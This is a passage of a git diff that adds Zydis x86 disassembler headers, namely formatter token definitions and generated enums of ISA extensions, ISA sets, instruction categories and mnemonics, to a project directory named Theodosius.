* A mnemonic literal (like `"MOV"`, `"VCMPPSD"`, `"LCALL"`). + */ +#define ZYDIS_TOKEN_MNEMONIC 0x06 +/** + * A register literal (like `"RAX"`, `"DS"`, `"%ECX"`). + */ +#define ZYDIS_TOKEN_REGISTER 0x07 +/** + * An absolute address literal (like `0x00400000`). + */ +#define ZYDIS_TOKEN_ADDRESS_ABS 0x08 +/** + * A relative address literal (like `-0x100`). + */ +#define ZYDIS_TOKEN_ADDRESS_REL 0x09 +/** + * A displacement literal (like `0xFFFFFFFF`, `-0x100`, `+0x1234`). + */ +#define ZYDIS_TOKEN_DISPLACEMENT 0x0A +/** + * An immediate literal (like `0xC0`, `-0x1234`, `$0x0000`). + */ +#define ZYDIS_TOKEN_IMMEDIATE 0x0B +/** + * A typecast literal (like `DWORD PTR`). + */ +#define ZYDIS_TOKEN_TYPECAST 0x0C +/** + * A decorator literal (like `"Z"`, `"1TO4"`). + */ +#define ZYDIS_TOKEN_DECORATOR 0x0D +/** + * A symbol literal. + */ +#define ZYDIS_TOKEN_SYMBOL 0x0E + +/** + * The base for user-defined token types. + */ +#define ZYDIS_TOKEN_USER 0x80 + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Token */ +/* ---------------------------------------------------------------------------------------------- */ + +#pragma pack(push, 1) + +/** + * Defines the `ZydisFormatterToken` struct. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZydisFormatterToken_ +{ + /** + * The token type. + */ + ZydisTokenType type; + /** + * An offset to the next token, or `0`. + */ + ZyanU8 next; +} ZydisFormatterToken; + +#pragma pack(pop) + +/** + * Defines the `ZydisFormatterTokenConst` data-type. + */ +typedef const ZydisFormatterToken ZydisFormatterTokenConst; + +/* ---------------------------------------------------------------------------------------------- */ +/* Buffer */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisFormatterBuffer` struct. + * + * All fields in this struct should be considered as "private". Any changes may + * lead to unexpected behavior. + */ +typedef struct ZydisFormatterBuffer_ +{ + /** + * `ZYAN_TRUE`, if the buffer contains a token stream or `ZYAN_FALSE, if it + * contains a simple string. + */ + ZyanBool is_token_list; + /** + * The remaining capacity of the buffer. + */ + ZyanUSize capacity; + /** + * The `ZyanString` instance that refers to the literal value of the most + * recently added token. + */ + ZyanString string; +} ZydisFormatterBuffer; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Token */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the `type` and the string `value` of the given `token`. + * + * @param token A pointer to the `ZydisFormatterToken` struct. + * @param type Receives the token type. + * @param value Receives a pointer to the string value of the token. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenGetValue(const ZydisFormatterToken* token, + ZydisTokenType* type, ZyanConstCharPointer* value); + +/** + * Obtains the next `token` linked to the passed one. + * + * @param token Receives a pointer to the next `ZydisFormatterToken` struct + * linked to the passed one. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenNext(ZydisFormatterTokenConst** token); + +/* ---------------------------------------------------------------------------------------------- */ +/* Buffer */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the current (most recently added) token. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param token Receives a pointer to the current token. + * + * @return A zyan status code. + * + * This function returns `ZYAN_STATUS_INVALID_OPERATION`, if the buffer does not contain at least + * one token. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferGetToken(const ZydisFormatterBuffer* buffer, + ZydisFormatterTokenConst** token); + +/** + * Returns the `ZyanString` instance associated with the given buffer. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param string Receives a pointer to the `ZyanString` instance associated with the given + * buffer. + * + * @return A zyan status code. + * + * This function returns `ZYAN_STATUS_INVALID_OPERATION`, if the buffer does not contain at least + * one token. + * + * The returned string always refers to the literal value of the current (most recently added) + * token and will remain valid until the buffer is destroyed. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferGetString(ZydisFormatterBuffer* buffer, + ZyanString** string); + +/** + * Appends a new token to the `buffer`. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param type The type of the new token. + * + * @return A zyan status code. + * + * Note that the `ZyanString` instance returned by `ZydisFormatterBufferGetString` will + * automatically be updated by calling this function. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferAppend(ZydisFormatterBuffer* buffer, + ZydisTokenType type); + +/** + * Returns a snapshot of the buffer-state. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param state Receives a snapshot of the buffer-state. + * + * @return A zyan status code. + * + * Note that the buffer-state is saved inside the buffer itself and thus becomes invalid as soon + * as the buffer gets overwritten or destroyed. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferRemember(const ZydisFormatterBuffer* buffer, + ZyanUPointer* state); + +/** + * Restores a previously saved buffer-state. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param state The buffer-state to restore. + * + * @return A zyan status code. + * + * All tokens added after obtaining the given `state` snapshot will be removed. This function + * does NOT restore any string content. + * + * Note that the `ZyanString` instance returned by `ZydisFormatterBufferGetString` will + * automatically be updated by calling this function. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferRestore(ZydisFormatterBuffer* buffer, + ZyanUPointer state); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_FORMATTER_TOKEN_H */ diff --git a/Theodosius/Zydis/Generated/EnumISAExt.h b/Theodosius/Zydis/Generated/EnumISAExt.h new file mode 100644 index 0000000..6de33b7 --- /dev/null +++ b/Theodosius/Zydis/Generated/EnumISAExt.h @@ -0,0 +1,98 @@ +/** + * Defines the `ZydisISAExt` enum. + */ +typedef enum ZydisISAExt_ +{ + ZYDIS_ISA_EXT_INVALID, + ZYDIS_ISA_EXT_ADOX_ADCX, + ZYDIS_ISA_EXT_AES, + ZYDIS_ISA_EXT_AMD3DNOW, + ZYDIS_ISA_EXT_AMD3DNOW_PREFETCH, + ZYDIS_ISA_EXT_AMD_INVLPGB, + ZYDIS_ISA_EXT_AMX_BF16, + ZYDIS_ISA_EXT_AMX_INT8, + ZYDIS_ISA_EXT_AMX_TILE, + ZYDIS_ISA_EXT_AVX, + ZYDIS_ISA_EXT_AVX2, + ZYDIS_ISA_EXT_AVX2GATHER, + ZYDIS_ISA_EXT_AVX512EVEX, + ZYDIS_ISA_EXT_AVX512VEX, + ZYDIS_ISA_EXT_AVXAES, + ZYDIS_ISA_EXT_BASE, + ZYDIS_ISA_EXT_BMI1, + ZYDIS_ISA_EXT_BMI2, + ZYDIS_ISA_EXT_CET, + ZYDIS_ISA_EXT_CLDEMOTE, + ZYDIS_ISA_EXT_CLFLUSHOPT, + ZYDIS_ISA_EXT_CLFSH, + ZYDIS_ISA_EXT_CLWB, + ZYDIS_ISA_EXT_CLZERO, + ZYDIS_ISA_EXT_ENQCMD, + ZYDIS_ISA_EXT_F16C, + ZYDIS_ISA_EXT_FMA, + ZYDIS_ISA_EXT_FMA4, + ZYDIS_ISA_EXT_GFNI, + ZYDIS_ISA_EXT_INVPCID, + ZYDIS_ISA_EXT_KNC, + ZYDIS_ISA_EXT_KNCE, + ZYDIS_ISA_EXT_KNCV, + ZYDIS_ISA_EXT_LONGMODE, + ZYDIS_ISA_EXT_LZCNT, + ZYDIS_ISA_EXT_MCOMMIT, + ZYDIS_ISA_EXT_MMX, + ZYDIS_ISA_EXT_MONITOR, + ZYDIS_ISA_EXT_MONITORX, + ZYDIS_ISA_EXT_MOVBE, + ZYDIS_ISA_EXT_MOVDIR, + ZYDIS_ISA_EXT_MPX, + ZYDIS_ISA_EXT_PADLOCK, + ZYDIS_ISA_EXT_PAUSE, + ZYDIS_ISA_EXT_PCLMULQDQ, + ZYDIS_ISA_EXT_PCONFIG, + ZYDIS_ISA_EXT_PKU, + ZYDIS_ISA_EXT_PREFETCHWT1, + ZYDIS_ISA_EXT_PT, + ZYDIS_ISA_EXT_RDPID, + ZYDIS_ISA_EXT_RDPRU, + ZYDIS_ISA_EXT_RDRAND, + ZYDIS_ISA_EXT_RDSEED, + ZYDIS_ISA_EXT_RDTSCP, + ZYDIS_ISA_EXT_RDWRFSGS, + ZYDIS_ISA_EXT_RTM, + ZYDIS_ISA_EXT_SERIALIZE, + ZYDIS_ISA_EXT_SGX, + ZYDIS_ISA_EXT_SGX_ENCLV, + ZYDIS_ISA_EXT_SHA, + ZYDIS_ISA_EXT_SMAP, + ZYDIS_ISA_EXT_SMX, + ZYDIS_ISA_EXT_SNP, + ZYDIS_ISA_EXT_SSE, + ZYDIS_ISA_EXT_SSE2, + ZYDIS_ISA_EXT_SSE3, + ZYDIS_ISA_EXT_SSE4, + ZYDIS_ISA_EXT_SSE4A, + ZYDIS_ISA_EXT_SSSE3, + ZYDIS_ISA_EXT_SVM, + ZYDIS_ISA_EXT_TBM, + ZYDIS_ISA_EXT_TSX_LDTRK, + ZYDIS_ISA_EXT_VAES, + ZYDIS_ISA_EXT_VMFUNC, + ZYDIS_ISA_EXT_VPCLMULQDQ, + ZYDIS_ISA_EXT_VTX, + ZYDIS_ISA_EXT_WAITPKG, + ZYDIS_ISA_EXT_X87, + ZYDIS_ISA_EXT_XOP, + ZYDIS_ISA_EXT_XSAVE, + ZYDIS_ISA_EXT_XSAVEC, + ZYDIS_ISA_EXT_XSAVEOPT, + ZYDIS_ISA_EXT_XSAVES, + + /** + * Maximum value of this enum. + */ + ZYDIS_ISA_EXT_MAX_VALUE = ZYDIS_ISA_EXT_XSAVES, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_ISA_EXT_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ISA_EXT_MAX_VALUE) +} ZydisISAExt; diff --git a/Theodosius/Zydis/Generated/EnumISASet.h b/Theodosius/Zydis/Generated/EnumISASet.h new file mode 100644 index 0000000..c04242c --- /dev/null +++ b/Theodosius/Zydis/Generated/EnumISASet.h @@ -0,0 +1,184 @@ +/** + * Defines the `ZydisISASet` enum. + */ +typedef enum ZydisISASet_ +{ + ZYDIS_ISA_SET_INVALID, + ZYDIS_ISA_SET_ADOX_ADCX, + ZYDIS_ISA_SET_AES, + ZYDIS_ISA_SET_AMD, + ZYDIS_ISA_SET_AMD3DNOW, + ZYDIS_ISA_SET_AMX_BF16, + ZYDIS_ISA_SET_AMX_INT8, + ZYDIS_ISA_SET_AMX_TILE, + ZYDIS_ISA_SET_AVX, + ZYDIS_ISA_SET_AVX2, + ZYDIS_ISA_SET_AVX2GATHER, + ZYDIS_ISA_SET_AVX512BW_128, + ZYDIS_ISA_SET_AVX512BW_128N, + ZYDIS_ISA_SET_AVX512BW_256, + ZYDIS_ISA_SET_AVX512BW_512, + ZYDIS_ISA_SET_AVX512BW_KOP, + ZYDIS_ISA_SET_AVX512CD_128, + ZYDIS_ISA_SET_AVX512CD_256, + ZYDIS_ISA_SET_AVX512CD_512, + ZYDIS_ISA_SET_AVX512DQ_128, + ZYDIS_ISA_SET_AVX512DQ_128N, + ZYDIS_ISA_SET_AVX512DQ_256, + ZYDIS_ISA_SET_AVX512DQ_512, + ZYDIS_ISA_SET_AVX512DQ_KOP, + ZYDIS_ISA_SET_AVX512DQ_SCALAR, + ZYDIS_ISA_SET_AVX512ER_512, + ZYDIS_ISA_SET_AVX512ER_SCALAR, + ZYDIS_ISA_SET_AVX512F_128, + ZYDIS_ISA_SET_AVX512F_128N, + ZYDIS_ISA_SET_AVX512F_256, + ZYDIS_ISA_SET_AVX512F_512, + ZYDIS_ISA_SET_AVX512F_KOP, + ZYDIS_ISA_SET_AVX512F_SCALAR, + ZYDIS_ISA_SET_AVX512PF_512, + ZYDIS_ISA_SET_AVX512_4FMAPS_512, + ZYDIS_ISA_SET_AVX512_4FMAPS_SCALAR, + ZYDIS_ISA_SET_AVX512_4VNNIW_512, + ZYDIS_ISA_SET_AVX512_BF16_128, + ZYDIS_ISA_SET_AVX512_BF16_256, + ZYDIS_ISA_SET_AVX512_BF16_512, + ZYDIS_ISA_SET_AVX512_BITALG_128, + ZYDIS_ISA_SET_AVX512_BITALG_256, + ZYDIS_ISA_SET_AVX512_BITALG_512, + ZYDIS_ISA_SET_AVX512_GFNI_128, + ZYDIS_ISA_SET_AVX512_GFNI_256, + ZYDIS_ISA_SET_AVX512_GFNI_512, + ZYDIS_ISA_SET_AVX512_IFMA_128, + ZYDIS_ISA_SET_AVX512_IFMA_256, + ZYDIS_ISA_SET_AVX512_IFMA_512, + ZYDIS_ISA_SET_AVX512_VAES_128, + ZYDIS_ISA_SET_AVX512_VAES_256, + ZYDIS_ISA_SET_AVX512_VAES_512, + ZYDIS_ISA_SET_AVX512_VBMI2_128, + ZYDIS_ISA_SET_AVX512_VBMI2_256, + ZYDIS_ISA_SET_AVX512_VBMI2_512, + ZYDIS_ISA_SET_AVX512_VBMI_128, + ZYDIS_ISA_SET_AVX512_VBMI_256, + ZYDIS_ISA_SET_AVX512_VBMI_512, + ZYDIS_ISA_SET_AVX512_VNNI_128, + ZYDIS_ISA_SET_AVX512_VNNI_256, + ZYDIS_ISA_SET_AVX512_VNNI_512, + ZYDIS_ISA_SET_AVX512_VP2INTERSECT_128, + ZYDIS_ISA_SET_AVX512_VP2INTERSECT_256, + ZYDIS_ISA_SET_AVX512_VP2INTERSECT_512, + ZYDIS_ISA_SET_AVX512_VPCLMULQDQ_128, + ZYDIS_ISA_SET_AVX512_VPCLMULQDQ_256, + ZYDIS_ISA_SET_AVX512_VPCLMULQDQ_512, + ZYDIS_ISA_SET_AVX512_VPOPCNTDQ_128, + ZYDIS_ISA_SET_AVX512_VPOPCNTDQ_256, + ZYDIS_ISA_SET_AVX512_VPOPCNTDQ_512, + ZYDIS_ISA_SET_AVXAES, + ZYDIS_ISA_SET_AVX_GFNI, + ZYDIS_ISA_SET_BMI1, + ZYDIS_ISA_SET_BMI2, + ZYDIS_ISA_SET_CET, + ZYDIS_ISA_SET_CLDEMOTE, + ZYDIS_ISA_SET_CLFLUSHOPT, + ZYDIS_ISA_SET_CLFSH, + ZYDIS_ISA_SET_CLWB, + ZYDIS_ISA_SET_CLZERO, + ZYDIS_ISA_SET_CMOV, + ZYDIS_ISA_SET_CMPXCHG16B, + ZYDIS_ISA_SET_ENQCMD, + ZYDIS_ISA_SET_F16C, + ZYDIS_ISA_SET_FAT_NOP, + ZYDIS_ISA_SET_FCMOV, + ZYDIS_ISA_SET_FMA, + ZYDIS_ISA_SET_FMA4, + ZYDIS_ISA_SET_FXSAVE, + ZYDIS_ISA_SET_FXSAVE64, + ZYDIS_ISA_SET_GFNI, + ZYDIS_ISA_SET_I186, + ZYDIS_ISA_SET_I286PROTECTED, + ZYDIS_ISA_SET_I286REAL, + ZYDIS_ISA_SET_I386, + ZYDIS_ISA_SET_I486, + ZYDIS_ISA_SET_I486REAL, + ZYDIS_ISA_SET_I86, + ZYDIS_ISA_SET_INVPCID, + ZYDIS_ISA_SET_KNCE, + ZYDIS_ISA_SET_KNCJKBR, + ZYDIS_ISA_SET_KNCSTREAM, + ZYDIS_ISA_SET_KNCV, + ZYDIS_ISA_SET_KNC_MISC, + ZYDIS_ISA_SET_KNC_PF_HINT, + ZYDIS_ISA_SET_LAHF, + ZYDIS_ISA_SET_LONGMODE, + ZYDIS_ISA_SET_LZCNT, + ZYDIS_ISA_SET_MCOMMIT, + ZYDIS_ISA_SET_MONITOR, + ZYDIS_ISA_SET_MONITORX, + ZYDIS_ISA_SET_MOVBE, + ZYDIS_ISA_SET_MOVDIR, + ZYDIS_ISA_SET_MPX, + ZYDIS_ISA_SET_PADLOCK_ACE, + ZYDIS_ISA_SET_PADLOCK_PHE, + ZYDIS_ISA_SET_PADLOCK_PMM, + ZYDIS_ISA_SET_PADLOCK_RNG, + ZYDIS_ISA_SET_PAUSE, + ZYDIS_ISA_SET_PCLMULQDQ, + ZYDIS_ISA_SET_PCONFIG, + ZYDIS_ISA_SET_PENTIUMMMX, + ZYDIS_ISA_SET_PENTIUMREAL, + ZYDIS_ISA_SET_PKU, + ZYDIS_ISA_SET_POPCNT, + ZYDIS_ISA_SET_PPRO, + ZYDIS_ISA_SET_PREFETCHWT1, + ZYDIS_ISA_SET_PREFETCH_NOP, + ZYDIS_ISA_SET_PT, + ZYDIS_ISA_SET_RDPID, + ZYDIS_ISA_SET_RDPMC, + ZYDIS_ISA_SET_RDPRU, + ZYDIS_ISA_SET_RDRAND, + ZYDIS_ISA_SET_RDSEED, + ZYDIS_ISA_SET_RDTSCP, + ZYDIS_ISA_SET_RDWRFSGS, + ZYDIS_ISA_SET_RTM, + ZYDIS_ISA_SET_SERIALIZE, + ZYDIS_ISA_SET_SGX, + ZYDIS_ISA_SET_SGX_ENCLV, + ZYDIS_ISA_SET_SHA, + ZYDIS_ISA_SET_SMAP, + ZYDIS_ISA_SET_SMX, + ZYDIS_ISA_SET_SSE, + ZYDIS_ISA_SET_SSE2, + ZYDIS_ISA_SET_SSE2MMX, + ZYDIS_ISA_SET_SSE3, + ZYDIS_ISA_SET_SSE3X87, + ZYDIS_ISA_SET_SSE4, + ZYDIS_ISA_SET_SSE42, + ZYDIS_ISA_SET_SSE4A, + ZYDIS_ISA_SET_SSEMXCSR, + ZYDIS_ISA_SET_SSE_PREFETCH, + ZYDIS_ISA_SET_SSSE3, + ZYDIS_ISA_SET_SSSE3MMX, + ZYDIS_ISA_SET_SVM, + ZYDIS_ISA_SET_TBM, + ZYDIS_ISA_SET_TSX_LDTRK, + ZYDIS_ISA_SET_VAES, + ZYDIS_ISA_SET_VMFUNC, + ZYDIS_ISA_SET_VPCLMULQDQ, + ZYDIS_ISA_SET_VTX, + ZYDIS_ISA_SET_WAITPKG, + ZYDIS_ISA_SET_X87, + ZYDIS_ISA_SET_XOP, + ZYDIS_ISA_SET_XSAVE, + ZYDIS_ISA_SET_XSAVEC, + ZYDIS_ISA_SET_XSAVEOPT, + ZYDIS_ISA_SET_XSAVES, + + /** + * Maximum value of this enum. + */ + ZYDIS_ISA_SET_MAX_VALUE = ZYDIS_ISA_SET_XSAVES, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_ISA_SET_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ISA_SET_MAX_VALUE) +} ZydisISASet; diff --git a/Theodosius/Zydis/Generated/EnumInstructionCategory.h b/Theodosius/Zydis/Generated/EnumInstructionCategory.h new file mode 100644 index 0000000..755afbc --- /dev/null +++ b/Theodosius/Zydis/Generated/EnumInstructionCategory.h @@ -0,0 +1,117 @@ +/** + * Defines the `ZydisInstructionCategory` enum. + */ +typedef enum ZydisInstructionCategory_ +{ + ZYDIS_CATEGORY_INVALID, + ZYDIS_CATEGORY_ADOX_ADCX, + ZYDIS_CATEGORY_AES, + ZYDIS_CATEGORY_AMD3DNOW, + ZYDIS_CATEGORY_AMX_TILE, + ZYDIS_CATEGORY_AVX, + ZYDIS_CATEGORY_AVX2, + ZYDIS_CATEGORY_AVX2GATHER, + ZYDIS_CATEGORY_AVX512, + ZYDIS_CATEGORY_AVX512_4FMAPS, + ZYDIS_CATEGORY_AVX512_4VNNIW, + ZYDIS_CATEGORY_AVX512_BITALG, + ZYDIS_CATEGORY_AVX512_VBMI, + ZYDIS_CATEGORY_AVX512_VP2INTERSECT, + ZYDIS_CATEGORY_BINARY, + ZYDIS_CATEGORY_BITBYTE, + ZYDIS_CATEGORY_BLEND, + ZYDIS_CATEGORY_BMI1, + ZYDIS_CATEGORY_BMI2, + ZYDIS_CATEGORY_BROADCAST, + ZYDIS_CATEGORY_CALL, + ZYDIS_CATEGORY_CET, + ZYDIS_CATEGORY_CLDEMOTE, + ZYDIS_CATEGORY_CLFLUSHOPT, + ZYDIS_CATEGORY_CLWB, + ZYDIS_CATEGORY_CLZERO, + ZYDIS_CATEGORY_CMOV, + ZYDIS_CATEGORY_COMPRESS, + ZYDIS_CATEGORY_COND_BR, + ZYDIS_CATEGORY_CONFLICT, + ZYDIS_CATEGORY_CONVERT, + ZYDIS_CATEGORY_DATAXFER, + ZYDIS_CATEGORY_DECIMAL, + ZYDIS_CATEGORY_ENQCMD, + ZYDIS_CATEGORY_EXPAND, + ZYDIS_CATEGORY_FCMOV, + ZYDIS_CATEGORY_FLAGOP, + ZYDIS_CATEGORY_FMA4, + ZYDIS_CATEGORY_GATHER, + ZYDIS_CATEGORY_GFNI, + ZYDIS_CATEGORY_IFMA, + ZYDIS_CATEGORY_INTERRUPT, + ZYDIS_CATEGORY_IO, + ZYDIS_CATEGORY_IOSTRINGOP, + ZYDIS_CATEGORY_KMASK, + ZYDIS_CATEGORY_KNC, + ZYDIS_CATEGORY_KNCMASK, + ZYDIS_CATEGORY_KNCSCALAR, + ZYDIS_CATEGORY_LOGICAL, + ZYDIS_CATEGORY_LOGICAL_FP, + ZYDIS_CATEGORY_LZCNT, + ZYDIS_CATEGORY_MISC, + ZYDIS_CATEGORY_MMX, + ZYDIS_CATEGORY_MOVDIR, + ZYDIS_CATEGORY_MPX, + ZYDIS_CATEGORY_NOP, + ZYDIS_CATEGORY_PADLOCK, + ZYDIS_CATEGORY_PCLMULQDQ, + ZYDIS_CATEGORY_PCONFIG, + ZYDIS_CATEGORY_PKU, + ZYDIS_CATEGORY_POP, + ZYDIS_CATEGORY_PREFETCH, + ZYDIS_CATEGORY_PREFETCHWT1, + ZYDIS_CATEGORY_PT, + ZYDIS_CATEGORY_PUSH, + ZYDIS_CATEGORY_RDPID, + ZYDIS_CATEGORY_RDPRU, + ZYDIS_CATEGORY_RDRAND, + ZYDIS_CATEGORY_RDSEED, + ZYDIS_CATEGORY_RDWRFSGS, + ZYDIS_CATEGORY_RET, + ZYDIS_CATEGORY_ROTATE, + ZYDIS_CATEGORY_SCATTER, + ZYDIS_CATEGORY_SEGOP, + ZYDIS_CATEGORY_SEMAPHORE, + ZYDIS_CATEGORY_SERIALIZE, + ZYDIS_CATEGORY_SETCC, + ZYDIS_CATEGORY_SGX, + ZYDIS_CATEGORY_SHA, + ZYDIS_CATEGORY_SHIFT, + ZYDIS_CATEGORY_SMAP, + ZYDIS_CATEGORY_SSE, + ZYDIS_CATEGORY_STRINGOP, + ZYDIS_CATEGORY_STTNI, + ZYDIS_CATEGORY_SYSCALL, + ZYDIS_CATEGORY_SYSRET, + ZYDIS_CATEGORY_SYSTEM, + ZYDIS_CATEGORY_TBM, + ZYDIS_CATEGORY_TSX_LDTRK, + ZYDIS_CATEGORY_UFMA, + ZYDIS_CATEGORY_UNCOND_BR, + ZYDIS_CATEGORY_VAES, + ZYDIS_CATEGORY_VBMI2, + ZYDIS_CATEGORY_VFMA, + ZYDIS_CATEGORY_VPCLMULQDQ, + ZYDIS_CATEGORY_VTX, + ZYDIS_CATEGORY_WAITPKG, + ZYDIS_CATEGORY_WIDENOP, + ZYDIS_CATEGORY_X87_ALU, + ZYDIS_CATEGORY_XOP, + ZYDIS_CATEGORY_XSAVE, + ZYDIS_CATEGORY_XSAVEOPT, + + /** + * Maximum value of this enum. + */ + ZYDIS_CATEGORY_MAX_VALUE = ZYDIS_CATEGORY_XSAVEOPT, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_CATEGORY_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_CATEGORY_MAX_VALUE) +} ZydisInstructionCategory; diff --git a/Theodosius/Zydis/Generated/EnumMnemonic.h b/Theodosius/Zydis/Generated/EnumMnemonic.h new file mode 100644 index 0000000..bcb6265 --- /dev/null +++ b/Theodosius/Zydis/Generated/EnumMnemonic.h @@ -0,0 +1,1643 @@ +/** + * Defines the `ZydisMnemonic` enum. + */ +typedef enum ZydisMnemonic_ +{ + ZYDIS_MNEMONIC_INVALID, + ZYDIS_MNEMONIC_AAA, + ZYDIS_MNEMONIC_AAD, + ZYDIS_MNEMONIC_AAM, + ZYDIS_MNEMONIC_AAS, + ZYDIS_MNEMONIC_ADC, + ZYDIS_MNEMONIC_ADCX, + ZYDIS_MNEMONIC_ADD, + ZYDIS_MNEMONIC_ADDPD, + ZYDIS_MNEMONIC_ADDPS, + ZYDIS_MNEMONIC_ADDSD, + ZYDIS_MNEMONIC_ADDSS, + ZYDIS_MNEMONIC_ADDSUBPD, + ZYDIS_MNEMONIC_ADDSUBPS, + ZYDIS_MNEMONIC_ADOX, + ZYDIS_MNEMONIC_AESDEC, + ZYDIS_MNEMONIC_AESDECLAST, + ZYDIS_MNEMONIC_AESENC, + ZYDIS_MNEMONIC_AESENCLAST, + ZYDIS_MNEMONIC_AESIMC, + ZYDIS_MNEMONIC_AESKEYGENASSIST, + ZYDIS_MNEMONIC_AND, + ZYDIS_MNEMONIC_ANDN, + ZYDIS_MNEMONIC_ANDNPD, + ZYDIS_MNEMONIC_ANDNPS, + ZYDIS_MNEMONIC_ANDPD, + ZYDIS_MNEMONIC_ANDPS, + ZYDIS_MNEMONIC_ARPL, + ZYDIS_MNEMONIC_BEXTR, + ZYDIS_MNEMONIC_BLCFILL, + ZYDIS_MNEMONIC_BLCI, + ZYDIS_MNEMONIC_BLCIC, + ZYDIS_MNEMONIC_BLCMSK, + ZYDIS_MNEMONIC_BLCS, + ZYDIS_MNEMONIC_BLENDPD, + ZYDIS_MNEMONIC_BLENDPS, + ZYDIS_MNEMONIC_BLENDVPD, + ZYDIS_MNEMONIC_BLENDVPS, + ZYDIS_MNEMONIC_BLSFILL, + ZYDIS_MNEMONIC_BLSI, + ZYDIS_MNEMONIC_BLSIC, + ZYDIS_MNEMONIC_BLSMSK, + ZYDIS_MNEMONIC_BLSR, + ZYDIS_MNEMONIC_BNDCL, + ZYDIS_MNEMONIC_BNDCN, + ZYDIS_MNEMONIC_BNDCU, + ZYDIS_MNEMONIC_BNDLDX, + ZYDIS_MNEMONIC_BNDMK, + ZYDIS_MNEMONIC_BNDMOV, + ZYDIS_MNEMONIC_BNDSTX, + ZYDIS_MNEMONIC_BOUND, + ZYDIS_MNEMONIC_BSF, + ZYDIS_MNEMONIC_BSR, + ZYDIS_MNEMONIC_BSWAP, + ZYDIS_MNEMONIC_BT, + ZYDIS_MNEMONIC_BTC, + ZYDIS_MNEMONIC_BTR, + ZYDIS_MNEMONIC_BTS, + ZYDIS_MNEMONIC_BZHI, + ZYDIS_MNEMONIC_CALL, + ZYDIS_MNEMONIC_CBW, + ZYDIS_MNEMONIC_CDQ, + ZYDIS_MNEMONIC_CDQE, + ZYDIS_MNEMONIC_CLAC, + ZYDIS_MNEMONIC_CLC, + ZYDIS_MNEMONIC_CLD, + ZYDIS_MNEMONIC_CLDEMOTE, + ZYDIS_MNEMONIC_CLEVICT0, + ZYDIS_MNEMONIC_CLEVICT1, + ZYDIS_MNEMONIC_CLFLUSH, + ZYDIS_MNEMONIC_CLFLUSHOPT, + ZYDIS_MNEMONIC_CLGI, + ZYDIS_MNEMONIC_CLI, + ZYDIS_MNEMONIC_CLRSSBSY, + ZYDIS_MNEMONIC_CLTS, + ZYDIS_MNEMONIC_CLWB, + ZYDIS_MNEMONIC_CLZERO, + ZYDIS_MNEMONIC_CMC, + ZYDIS_MNEMONIC_CMOVB, + ZYDIS_MNEMONIC_CMOVBE, + ZYDIS_MNEMONIC_CMOVL, + ZYDIS_MNEMONIC_CMOVLE, + ZYDIS_MNEMONIC_CMOVNB, + ZYDIS_MNEMONIC_CMOVNBE, + ZYDIS_MNEMONIC_CMOVNL, + ZYDIS_MNEMONIC_CMOVNLE, + ZYDIS_MNEMONIC_CMOVNO, + ZYDIS_MNEMONIC_CMOVNP, + ZYDIS_MNEMONIC_CMOVNS, + ZYDIS_MNEMONIC_CMOVNZ, + ZYDIS_MNEMONIC_CMOVO, + ZYDIS_MNEMONIC_CMOVP, + ZYDIS_MNEMONIC_CMOVS, + ZYDIS_MNEMONIC_CMOVZ, + ZYDIS_MNEMONIC_CMP, + ZYDIS_MNEMONIC_CMPPD, + ZYDIS_MNEMONIC_CMPPS, + ZYDIS_MNEMONIC_CMPSB, + ZYDIS_MNEMONIC_CMPSD, + ZYDIS_MNEMONIC_CMPSQ, + ZYDIS_MNEMONIC_CMPSS, + ZYDIS_MNEMONIC_CMPSW, + ZYDIS_MNEMONIC_CMPXCHG, + ZYDIS_MNEMONIC_CMPXCHG16B, + ZYDIS_MNEMONIC_CMPXCHG8B, + ZYDIS_MNEMONIC_COMISD, + ZYDIS_MNEMONIC_COMISS, + ZYDIS_MNEMONIC_CPUID, + ZYDIS_MNEMONIC_CQO, + ZYDIS_MNEMONIC_CRC32, + ZYDIS_MNEMONIC_CVTDQ2PD, + ZYDIS_MNEMONIC_CVTDQ2PS, + ZYDIS_MNEMONIC_CVTPD2DQ, + ZYDIS_MNEMONIC_CVTPD2PI, + ZYDIS_MNEMONIC_CVTPD2PS, + ZYDIS_MNEMONIC_CVTPI2PD, + ZYDIS_MNEMONIC_CVTPI2PS, + ZYDIS_MNEMONIC_CVTPS2DQ, + ZYDIS_MNEMONIC_CVTPS2PD, + ZYDIS_MNEMONIC_CVTPS2PI, + ZYDIS_MNEMONIC_CVTSD2SI, + ZYDIS_MNEMONIC_CVTSD2SS, + ZYDIS_MNEMONIC_CVTSI2SD, + ZYDIS_MNEMONIC_CVTSI2SS, + ZYDIS_MNEMONIC_CVTSS2SD, + ZYDIS_MNEMONIC_CVTSS2SI, + 